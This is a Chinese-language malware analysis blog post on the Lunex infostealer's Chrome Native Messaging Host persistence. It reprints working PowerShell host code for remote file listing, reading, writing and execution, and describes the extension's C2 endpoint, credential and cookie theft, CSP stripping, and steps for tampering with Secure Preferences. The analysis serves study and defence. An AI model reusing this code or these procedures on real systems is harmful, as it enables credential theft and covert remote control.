NMH持久化木马样本分析

Posted by Closure on October 4, 2026

还原的代码在这里

本来是结论的但是还是写在前面吧。。。整套手法里真正不可替代的只有宿主进程由Chrome拉起,进程链上是合法签名二进制当父进程,以及扩展位收割内存态,像明文账密/活动会话cookie/页面指纹这些数据只有坐在浏览器里才拿得到,磁盘上的加密数据库里没有。

在我评判标准里属于是标准的奇技淫巧了,这个留下的动作链很长,而且持久化有更便宜的,毕竟偷浏览器数据可以纯EXE读盘,而且本来Lunex 窃密主力全部在 EXE 侧独立完成,扩展和 NMH只是内存态增强件现在只能算这是防御真空期红利吧。

但是这个思路可以完全无缝搬到IDE插件和任何带宿主-插件架构的软件上,看这个纯属是1这几天太压抑了2正好有样本

NMH

Native Messaging Host是Chrome官方的合法机制,因为浏览器扩展是跑在沙箱里的,碰不到本地文件系统,但是经常需要扩展和本地程序联动,比如密码管理器扩展调本地客户端这类。所以Chrome就开了个官方通道,扩展通过stdin/stdout和一个注册过的本地程序通信,注册方式就是在注册表HKCU\Software\Google\Chrome\NativeMessagingHosts\下写一个条目指向一个 manifest 文件。

这个机制本身也听老了,属于是2013年就引入的机制用来替代被淘汰的NPAPI插件体系,在概念上也不是新的,很早就把扩展的nativeMessaging权限视为浏览器沙箱的合法逃生口,用NMH桥接浏览器和本地命令执行,属于理论上人尽皆知的攻击面(?

今年已经被披露成实战持久化主力了,今年六月有一次有完整报告记录现实里用NMH当沙箱到系统的桥接通道,9月的Lunex把它升级到持久化主机制的成熟度,删掉木马后靠NMH注册项复活,并且打包成MaaS平台售卖,APT级的规避技术在向低端市场下沉。

Ontinue网络防御中心已识别并逆向工程了一个与Lunex恶意软件即服务平台相关的四阶段攻击链,该攻击链针对乌克兰语用户。分析发现,窃取程序二进制文件编译于2026年9月12日,其支持基础设施在此之前不久已部署完毕,表明该攻击链正在积极开发中。

攻击链始于一个伪造的验证码页面,最终部署一个功能齐全的C2代理。攻击者从七个基于Chromium的浏览器中提取凭据和数据,窃取加密货币钱包,并通过安装在受害者浏览器中的基于PowerShell的本地消息主机建立持久的远程文件系统访问权限。

在部署窃取程序之前,加载器会运行一个自带漏洞驱动程序 (BYOVD) 链,该链会禁用内核级安全监控。部署 BYOVD 并不罕见,但很少在最终阶段的有效载荷(例如信息窃取程序)之前使用。这使得最终的有效载荷能够在禁用来自多个端点安全产品的回调后运行。

Lunex 命令控制平台最早由 BlueTeamCoolTeam 的 Luke Wilkinson 于 2026 年 6 月通过开源情报 (OSINT) 研究发现。他识别出分布在五个国家的六个活跃控制面板,并记录了该平台对外可见的操作能力。当时,尚无针对底层二进制文件或操作工具的公开技术分析。本文将提供这方面的分析。本次调查期间,通过全网扫描,我们在 13 个国家发现了 28 个 Lunex 控制面板。对这些控制面板源代码的分析揭示了其包含俄语操作界面字符串以及此前报告中未提及的银行木马功能。

也算是低可见度了,HKCU\Software\Google\Chrome\NativeMessagingHosts\这个注册表位置是合法Chrome功能的注册路径,并且无网络特征阶段长,NMH通信走stdin/stdout本地管道,不直接产生网络流量,流量藏在扩展C2里看起来更正常。

顺带提一下从官方设计的正常调用需要满足什么条件/要滥用它实际上需要搞定什么

官方层面调用NMH有四个前置条件,第一个是注册表项,往注册表写一行,告诉Chrome这个联系人存在/住哪

HKCU\Software\Google\Chrome\NativeMessagingHosts\<宿主名>

  (默认值) = C:\path\to\manifest.json

当前用户或全机器都行,HKCU不需要管理员权限

第二个是扩展里面必备的manifest JSON

{
  "name": "com.example.helper",
  "path": "C:\\path\\to\\host.exe",
  "type": "stdio",
  "allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagbohcmhknu/"]
}

第三个是扩展声明权限,扩展自己的manifest.json里必须有 “permissions”: [“nativeMessaging”],然后调chrome.runtime.connectNative(“com.example.helper”) 发起通话。

唯一实质防线就是allowed_origins列表里写死了哪些扩展ID允许调用这个宿主,Chrome每次建立连接前核对扩展ID在不在名单上。

所以攻击者滥用 NMH只需要能在受害者机器上执行初始访问,以及默认就有写HKCU注册表的权限,不用提权只需要普通用户,然后装一个自己的扩,改Secure Preferences强装或者写企业策略ExtensionInstallForcelist。

扩展ID其实也是可控的,本地解压安装的扩展ID由打包时的key决定,攻击者打包时保证和manifest里的allowed_origins对上就可以了。

也算后渗透的一种奇技淫巧吧,虽然Chrome刚刚收紧了企业策略强装扩展的能力,但是普通用户权限写入还在

efchatz/Covert-C2

https://github.com/efchatz/Covert-C2

把NMH武器化成完整后渗透C2的学术向PoC,有MDPI期刊论文。

Lunex样本

代码详见开头

Lunex本体审计已经抠出了NMH宿主PowerShell全文5条指令,然后意料之外的得到了硬编码C2地址/注册表名/计划任务和发现了.embed节内嵌扩展ZIP,所以第一轮做完之后还有第二轮JS分析。

第二轮做了还原桥接,用第一轮的5指令做接口契约验证,就是把黑盒木马拆成三个组件,EXE 协调者,扩展和NMH宿主来逐个静态还原,最后用消息格式契约把组件接缝焊起来验证。

11 sections里只有一个自定义节,其余都是MinGW工具链的标准产物,.text(偏移 0x400 熵 6.19)是标准代码节,.data、.rdata、.pdata、.xdata、idata、bss、.CRT、.tls、.reloc各有其主。

工具链指纹.CRT/.pdata/.xdata的节名组合,加上偏移0x29720处一行明文的Mingw-w64 runtime failure,错误字符串,说明样本不是常见的MSVC,编译时间戳2026-09-12 01:44:58 UTC,比Arctic Wolf首次披露早13天(

.rdata(偏移 0x23c00,大小 0x11000,熵 6.60):标准的只读数据节,熵偏高,里面除了常规的字符串表,还塞着两样大件,那段13200字节的PowerShell脚本,和一块明文JSON配置

.embed(偏移 0x34c00 大小 0xbe00,熵 7.92):唯一的自定义节,节名不在任何编译器的默认约定里,读取它的起始16字节:

psychedelic_sample.bin @ 偏移 0x34C00

50 4B 03 04 14 00 08 00 08 00 00 00 00 00 00 00   PK..............

50 4B 03 04即PK\x03\x04,是ZIP压缩包的魔数,这个节里完整内嵌了一个ZIP包,里面是恶意Chrome扩展的全部11个文件,高熵来自ZIP的deflate压缩,不是加密。

这个样本是开卷的未加壳

NMH宿主PowerShell全还原

分析前的预案像UTF-16LE视图和异或猜钥一个都没用上。

合理性其实也说得通:这段脚本最终要以 host.ps1 的形式原样落地、由 powershell.exe 执行,

脚本开头就是NMH协议的收发两端,发送端Send-Message:

# nmh_host_script.ps1.txt 

$InputStream = [Console]::OpenStandardInput()
$OutputStream = [Console]::OpenStandardOutput()

function Send-Message($obj) {
    $json = $obj | ConvertTo-Json -Compress -Depth 6
    $bytes = [System.Text.Encoding]::UTF8.GetBytes($json)
    $len = [BitConverter]::GetBytes([uint32]$bytes.Length)
    $OutputStream.Write($len, 0, 4)
    $OutputStream.Write($bytes, 0, $bytes.Length)
    $OutputStream.Flush()
}

对象序列化为压缩JSON、UTF-8 编码,[BitConverter]::GetBytes([uint32]...) 生成 4 字节小端长度头。

接收端Read-Message里有一个常量:

#nmh_host_script.ps1.txt

function Read-Message() {
    $lenBytes = New-Object byte[] 4
    $read = $InputStream.Read($lenBytes, 0, 4)
    if ($read -lt 4) { return $null }
    $len = [BitConverter]::ToUInt32($lenBytes, 0)
    if ($len -gt 16777216) { return $null }
    $buf = New-Object byte[] $len
    $offset = 0
    while ($offset -lt $len) {
        $n = $InputStream.Read($buf, $offset, $len - $offset)
        if ($n -le 0) { break }
        $offset += $n
    }
    if ($offset -lt $len) { return $null }
    $text = [System.Text.Encoding]::UTF8.GetString($buf)
    return $text | ConvertFrom-Json
}

if ($len -gt 16777216)单条消息上限16MB为了让大块文件数据经NMH通道回传

五指令逐条还原

drives遍历盘符,Get-DriveLetters

# nmh_host_script.ps1.txt

function Get-DriveLetters {
    $drives = @()
    foreach ($code in 67..90) {
        $drive = [char]$code + ':\'
        if (Test-Path -LiteralPath $drive) {
            $drives += $drive
        }
    }
    return $drives
}

67到90是ASCII的C到Z,逐个Test-Path

list列目录,Get-DirEntries:

# nmh_host_script.ps1.txt 

function Get-DirEntries($path) {
    $items = Get-ChildItem -LiteralPath $path -Force -ErrorAction Stop |
        Sort-Object @{ Expression = { -not $_.PSIsContainer } }, @{ Expression = 'Name' }
    $entries = @()
    foreach ($item in $items) {
        $size = 0
        if (-not $item.PSIsContainer) {
            $size = [int64]$item.Length
        }
        $entries += @{
            name  = $item.Name
            isDir = [bool]$item.PSIsContainer
            size  = $size
        }
    }
    return $entries
}

目录优先排序、返回name/isDir/size三字段,这就是一个远程文件管理器的目录浏览功能

read分块读文件,Read-FileChunk

# nmh_host_script.ps1.txt

function Read-FileChunk($path, $offset, $length) {
    $maxChunk = 524288
    if ($length -gt $maxChunk) { $length = $maxChunk }
    $item = Get-Item -LiteralPath $path -Force -ErrorAction Stop
    if ($item.PSIsContainer) {
        throw [System.IO.IOException]::new("Path is a directory")
    }
    $totalSize = [int64]$item.Length
    if ($totalSize -gt $script:MaxDownloadBytes) {
        throw [System.IO.IOException]::new("File too large")
    }
    $fs = [System.IO.File]::Open($item.FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite)
    ...

单块上限512KB,总量上限500MB,文件以FileShare.ReadWrite打开,允许读正在被其他进程占用的文件,虽然目录不能直读但是有配套逻辑,对目录或多文件先打包成 %TEMP%\fl-<guid>.zip(New-ZipFromItems,L154),再分块回传

write任意路径分块写入 Write-FileChunk

# nmh_host_script.ps1.txt

function Write-FileChunk($path, $offset, $dataB64) {
    if (-not $path) {
        throw [System.IO.IOException]::new("Path is required")
    }
    $bytes = [Convert]::FromBase64String([string]$dataB64)
    if ($bytes.Length -gt 524288) {
        throw [System.IO.IOException]::new("Chunk too large")
    }
    $dir = Split-Path -Parent $path
    if ($dir -and -not (Test-Path -LiteralPath $dir)) {
        New-Item -ItemType Directory -Path $dir -Force | Out-Null
    }
    if ($offset -eq 0) {
        $fs = [System.IO.File]::Open($path, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write)
    } else {
        if (-not (Test-Path -LiteralPath $path)) {
            throw [System.IO.IOException]::new("File not found")
        }
        $fs = [System.IO.File]::Open($path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Write)
        [void]$fs.Seek($offset, [System.IO.SeekOrigin]::Begin)
    }
    ...

目标目录不存在时自动创建父目录,offset=0用FileMode.Create覆盖新建,非零则定位续写,配合run等于能往受害机投递并执行任何二阶段载荷。

run Start-FileItem

# nmh_host_script.ps1.txt (L316-L329)
function Start-FileItem($path) {
    if (-not $path) {
        throw [System.IO.IOException]::new("Path is required")
    }
    $item = Get-Item -LiteralPath $path -Force -ErrorAction Stop
    if ($item.PSIsContainer) {
        throw [System.IO.IOException]::new("Path is a directory")
    }
    Start-Process -FilePath $item.FullName -ErrorAction Stop | Out-Null
    return @{
        ok = $true
        path = $item.FullName
    }
}

Start-Process起任意程序,到这里就是一个完整的远程文件管理器加执行器,看盘-浏览-拿走→投放→启动。

内嵌扩展

之前提到了embed节里的ZIP解出来是11个文件,一个完整可用的MV3扩展manifest.json、service-worker-loader.js、assets/background.ts-CBVm7Il4.js`(68KB的service worker主体)、assets/content.ts-B6XGI__y.js、assets/csp-strip.ts-DrI45pKU.js、rules/strip_csp.json和一组图标。

混淆还原

三个JS文件都做了字符串表混淆,自定义Base64变体表加decodeURIComponent加数组循环移位对齐,混淆不代表要运行它,用Python完整复刻解码算法,对所有字符串做静态还原并校验对齐就能把68KB混淆代码还原成可读的。

懒连接

还原后的代码里宿主名常量const lt=’com.lunex.explorer’与EXE侧写进注册表的名字一字不差,chrome['runtime']['connectNative'](lt) 调用点在 Le()函数。

浏览器内存态

扩展的网络通信统一封装在一个函数里,C2 基址193.178.159.128:8080,所有请求走fetch(fe + ‘/api/v1’ + path, {method:POST, headers:{‘X-API-Key’:…}}),心跳有两层,chrome.alarms每分钟一次主心跳,setInterval每15秒一次轻心跳。

  • 表单账密嗅探(content script):捕获阶段监听 submit 事件抽取表单的 username/password;同时监听 click,对被点元素向上 closest('form') 找表单再抽取——双监听是为了覆盖那些”不用表单提交、纯 JS 登录”的站点。抓到的账密先存 chrome.storage.local['bp_pending_passwords'],攒够 25 条一批经 /ext/passwords 回传。
  • 全量 cookies:chrome.cookies.getAll({}) 一把全拿,经 /ext/cookies 回传——这是绕 MFA 的经典路径,活动会话 cookie 到手即等于已登录。
  • 书签/历史/已装扩展清单:chrome.bookmarks.getTree()、chrome.history.search() 分页、chrome.management.getAll(),分别对应三个端点。已装扩展清单对攻击者是侦察信息:能看出受害者用什么密码管理器、什么钱包插件。
  • 指纹与截屏:/ext/ping 上报语言、屏幕、时区、user_agent、标签页列表;chrome.tabs.captureVisibleTab 截屏回传。

WebSocket

除了REST轮询扩展里还有一条WebSocket实时通道,kt()函数把C2地址的http换成ws,连接 /api/v1/ext/remote?api_key=…&bot_id=…,建连后定时保活,再配合captureVisibleTab实时截屏回传。操作者是可以看受害者的屏幕实时操作浏览器,这条通道在公开报道里没有提到过。。。。?

###CSP剥离

rules/strip_csp.json里只有一条DNR规则,对所有 URL、所有资源类型,移除响应头 content-security-policy、content-security-policy-report-only、x-content-security-policy、x-webkit-csp。

csp-strip.ts又在document_start阶段用MutationObserver删除页面里的标签,所以目标站点的CSP基本没有。

为什么要剥CSP的原因在background的C2心跳处理逻辑里,响应体可以携带injects与spoofs字段,扩展会把它们存进storage备用,C2可以下发页面注入与伪造脚本。CSP剥掉的话注入代码才能在任何页面上跑。

扩展和 EXE 各偷什么

本体审计时发现EXE侧也有完整的浏览器目标路径和解密能力,/ext/tokens、/ext/wallets这两个端点在扩展全部代码与字符串表里零命中,分工是扩展偷内存态,正在发生的表单提交、活动会话cookies、书签、历史、页面指纹、截屏,这些是沙箱内chromeAPI够的。

EXE偷磁盘态,浏览器加密数据库、桌面钱包文件、扩展钱包的IndexedDB/leveldb,这些是沙箱外才有权限碰的。

#公开报道里没有的

所有报告在攻击链上都是没有出入的,组件细节除了↑说了的WebSocket实时远控,懒连接,CSP剥离和窃密分工之外,这里主要讲一下EXE反编译的收获。

宿主是五条指令

Ontinue报告给宿主列了六条命令,实物脚本的分发主循环只有五个分支,下载不是独立命令,对目录或多文件,宿主先打包成%TEMP%\fl-.zip,再并入read的分块回传,报告把read的一种使用姿势数成了一条命令(?

BYOVD驱动

Ontinue的攻击链里有BYOVD 一环,提到了CVE-2023-20598,AMD驱动PDFWKRNL.sys用来致盲EDR,但是检索完没有,估计在更上游的那个MSI loader样本里面(?)

Secure Preferences

.rdata明文扫描之后Secure Preferences这个字符串不存在,但是反编译找到了它,在栈上用 movabs立即数逐 8字节拼出来的

movabs rax, 0x206572756365535c      ; = "\Secure "
movabs rdx, 0x6e65726566657250      ; = "Preferen"
mov    [r12+8], rdx
mov    [r12], rax
mov    dword [r12+0xf], 0x7365636e  ; = "nces"  -> 拼出 "\Secure Preferences"

把敏感路径拆成立即数,所以必须真的反汇编,把立即数按小端序翻译回ASCII才能看见它,Preferences同样另有四处独立的立即数构造点。

装扩展的真路线

两家报告都只写到安装恶意扩展这一层,反编译之后的流程是

  1. 先杀浏览器进程解除偏好文件占用
  2. 解包.embedZIP,扩展文件落盘到扩展目录
  3. 读Secure PreferencesJSON,往extensions键下写入自建条目,并按浏览器版本在settings与opsettings两个键名间二选一
  4. 解析macs→内部函数重算 →更新super_mac与super_encrypted_hash
  5. 写NMH manifest,注册HKCU下NativeMessagingHosts键

Lunex是自带6个硬编码扩展ID,登记为全新受信扩展来借壳继承原扩展的用户信任与权限,但依赖受害者恰好装着那个扩展,自带ID不依赖任何前置条件,代价是扩展列表里会多出一个陌生条目,所以它需要伪装。

ABE双路径

EXE 解析浏览器Local State的os_crypt,按密钥前缀魔数分流

  • encrypted_key:前 4 字节 DPAPI(cmp dword [rbx], 0x50415044)→ 传统 DPAPI 路径(CryptUnprotectData)
  • app_bound_encrypted_key:前 4 字节 APPB(cmp dword [rax], 0x42505041)→ ABE 路径:CoCreateInstance 调 Chrome 高程服务的 IElevator COM 接口(CLSID {0F87369F-A4E5-4CFC-BD3E-73E6154572DD},IID {2FABA4C7-4DA9-4013-9697-20CC3FD40F85}),CoSetProxyBlanket 提权后由服务侧解出密钥,再走 BCrypt* 系列完成 AES-GCM 解密。